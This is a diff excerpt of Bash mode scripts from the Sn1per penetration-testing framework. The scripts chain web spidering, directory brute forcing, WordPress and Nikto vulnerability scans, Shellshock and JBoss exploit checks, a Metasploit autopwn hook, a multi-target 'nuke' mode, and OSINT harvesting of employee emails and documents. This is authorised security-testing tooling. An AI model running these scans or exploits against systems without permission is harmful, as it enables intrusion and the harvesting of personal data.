echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u https://$TARGET:443 -l 3 -s y -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_443/"$TARGET"_443-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-common.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-full.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-exploits.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd --ssl -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-https.txt
|
||||
fi
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap https://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsa.txt
|
||||
echo ""
|
||||
cmsmap https://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wpscan --url https://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsa.txt
|
||||
echo ""
|
||||
wpscan --url https://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/cmsmap-$TARGET-httpsb.txt
|
||||
fi
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port443.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port443.txt
|
||||
fi
|
||||
if [[ "$SHOCKER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --ssl --port 443 | tee $LOOT_DIR/web/shocker-$TARGET-port443.txt
|
||||
fi
|
||||
if [[ "$JEXBOSS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port443.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port443.raw > $LOOT_DIR/web/jexboss-$TARGET-port443.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port443.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then
|
||||
PORT="443"
|
||||
SSL="true"
|
||||
source modes/web_autopwn.sh
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,66 @@
|
|||
# NUKE MODE #####################################################################################################
|
||||
if [[ "$MODE" = "nuke" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $WORKSPACE_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ____"
|
||||
echo -e "$OKRED __,-~~/~ \`---."
|
||||
echo -e "$OKRED _/_,---( , )"
|
||||
echo -e "$OKRED __ / < / ) \___"
|
||||
echo -e "$OKRED - ------===;;;'====------------------===;;;===----- - -"
|
||||
echo -e "$OKRED \/ ~'~'~'~'~'~\~'~)~'/"
|
||||
echo -e "$OKRED (_ ( \ ( > \)"
|
||||
echo -e "$OKRED \_( _ < >_>'"
|
||||
echo -e "$OKRED ~ \`-i' ::>|--\""
|
||||
echo -e "$OKRED I;|.|.|"
|
||||
echo -e "$OKRED <|i::|i|\`."
|
||||
echo -e "$OKRED (\` ^''\`-' ')"
|
||||
echo -e "$OKRED --------------------------------------------------------- $RESET"
|
||||
echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "Starting scan: $TARGET $MODE `date +"%Y-%m-%d %H:%M"`"
|
||||
fi
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,90 @@
|
|||
if [[ "$OSINT" = "1" ]]; then
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WHOIS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$WHOIS" == "1" ]]; then
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null $RESET"
|
||||
fi
|
||||
whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null
|
||||
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING ULTATOOLS DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$ULTRATOOLS" == "1" ]]; then
|
||||
curl -s https://www.ultratools.com/tools/ipWhoisLookupResult\?ipAddress\=$TARGET | grep -A2 label | grep -v input | grep span | cut -d">" -f2 | cut -d"<" -f1 | sed 's/\ \;//g' 2> /dev/null | tee $LOOT_DIR/osint/ultratools-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$INTODNS" == "1" ]]; then
|
||||
wget -q http://www.intodns.com/$TARGET -O $LOOT_DIR/osint/intodns-$TARGET.html 2> /dev/null
|
||||
echo -e "$OKRED[+]$RESET Report saved to: $LOOT_DIR/osint/intodns-$TARGET.html"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING THEHARVESTER OSINT INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$THEHARVESTER" == "1" ]]; then
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python2.7 $THEHARVESTER_PATH -d $TARGET -l 100 -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null $RESET"
|
||||
fi
|
||||
theharvester -d $TARGET -l 100 -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_THEHARVESTER" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/theharvester-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS FROM EMAIL-FORMAT.COM $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$EMAILFORMAT" == "1" ]]; then
|
||||
curl -s https://www.email-format.com/d/$TARGET| grep @$TARGET | grep -v div | sed "s/\t//g" | sed "s/ //g" 2> /dev/null | tee $LOOT_DIR/osint/email-format-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_EMAIL_FORMAT" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/email-format-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS ALTERATIONS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$URLCRAZY" == "1" ]]; then
|
||||
urlcrazy $TARGET 2> /dev/null | tee $LOOT_DIR/osint/urlcrazy-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$METAGOOFIL" == "1" ]]; then
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null $RESET"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED COLLECTING OSINT FROM ONLINE DOCUMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd $INSTALL_DIR/plugins/metagoofil/
|
||||
python metagoofil.py -d $TARGET -t doc,pdf,xls,csv,txt -l 100 -n 100 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
if [[ "$SLACK_NOTIFICATIONS_METAGOOFIL" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/metagoofil-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$HUNTERIO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS VIA HUNTER.IO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s "https://api.hunter.io/v2/domain-search?domain=$TARGET&api_key=$HUNTERIO_KEY" | egrep "name|value|domain|company|uri|position|phone" 2> /dev/null | tee $LOOT_DIR/osint/hunterio-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING EMAILS VIA METASPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -x "use auxiliary/gather/search_email_collector; set DOMAIN $TARGET; run; exit y" | tee $LOOT_DIR/osint/msf-emails-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
if [[ $SCAN_TYPE == "DOMAIN" ]] && [[ $OSINT == "1" ]]; then
|
||||
if [[ $OSINT == "0" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SKIPPING OSINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
else
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ $GOOHAK = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
goohak $TARGET > /dev/null
|
||||
fi
|
||||
if [[ $INURLBR = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
php /usr/share/sniper/bin/inurlbr.php --dork "site:$TARGET" -s inurlbr-$TARGET | tee $LOOT_DIR/osint/inurlbr-$TARGET
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/osint/inurlbr-$TARGET > $LOOT_DIR/osint/inurlbr-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/osint/inurlbr-$TARGET
|
||||
rm -Rf output/ cookie.txt exploits.conf
|
||||
fi
|
||||
GHDB="1"
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,198 @@
|
|||
if [[ "$RECON" = "1" ]]; then
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
